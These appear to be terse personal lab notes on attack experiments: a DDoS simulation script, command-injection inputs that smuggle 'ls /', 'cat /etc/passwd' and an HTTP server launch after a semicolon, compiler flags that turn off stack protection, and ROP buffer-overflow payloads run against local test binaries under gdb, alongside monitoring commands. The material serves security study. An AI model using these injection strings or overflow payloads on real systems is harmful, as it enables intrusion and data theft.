// Execute the Python DDoS simulation script

system("python3 ddos\_attack\_simulation.py &");

Injection Attack:

python3 injection\_script.py "8.8.8.8; ls /"

python3 injection\_script.py "8.8.8.8; cat /etc/passwd"

python3 injection\_script.py "8.8.8.8; nohup python3 -m http.server 8080 &"

**gcc -fno-stack-protector -z execstack -o vulnerable vulnerable.c**

-fno-stack-protector: Disables stack protection that detects stack smashing.

-z execstack: Allows code to be executed from the stack

disas rop1 %% Memory location

<https://slava-moskvin.medium.com/gdb-tutorial-for-reverse-engineers-breakpoints-modifying-memory-and-printing-its-contents-46280ac37aad>

<https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming>

git clone https://github.com/longld/peda.git ~/peda

echo "source ~/peda/peda.py" >> ~/.gdbinit

sudo bpftrace rop\_analysis.bt

./rop1a "$(python3 -c 'import sys; sys.stdout.buffer.write(b"A"\*108 +b"BBBB"+ b"\xa9\x61\x55\x56" + b"\xd4\x61\x55\x56" + b"\xff\x61\x55\x56" + b"\x40\xfa\xdf\xf7")')"

cfa attack

gdb-peda$ set $eip = 0x565561ef

gdb-peda$ set $esp = $esp + 4

or

set $eip = (void (\*)())funcC

set $esp = $esp + 4

18-December 2024

gcc -o rop2a rop2a.c -fno-stack-protector -z execstack

telegraf --config /etc/telegraf/telegraf.conf --test

./rop2a "$(python3 -c 'import sys; sys.stdout.buffer.write(b"A"\*108 +b"BBBB"+ b"\xd9\x61\x55\x56" + b"\x04\x62\x55\x56" + b"\x2f\x62\x55\x56" + b"\x40\xfa\xdf\xf7")')"

ps aux | grep 'ddos\_attack\_simulation.py'

kill pid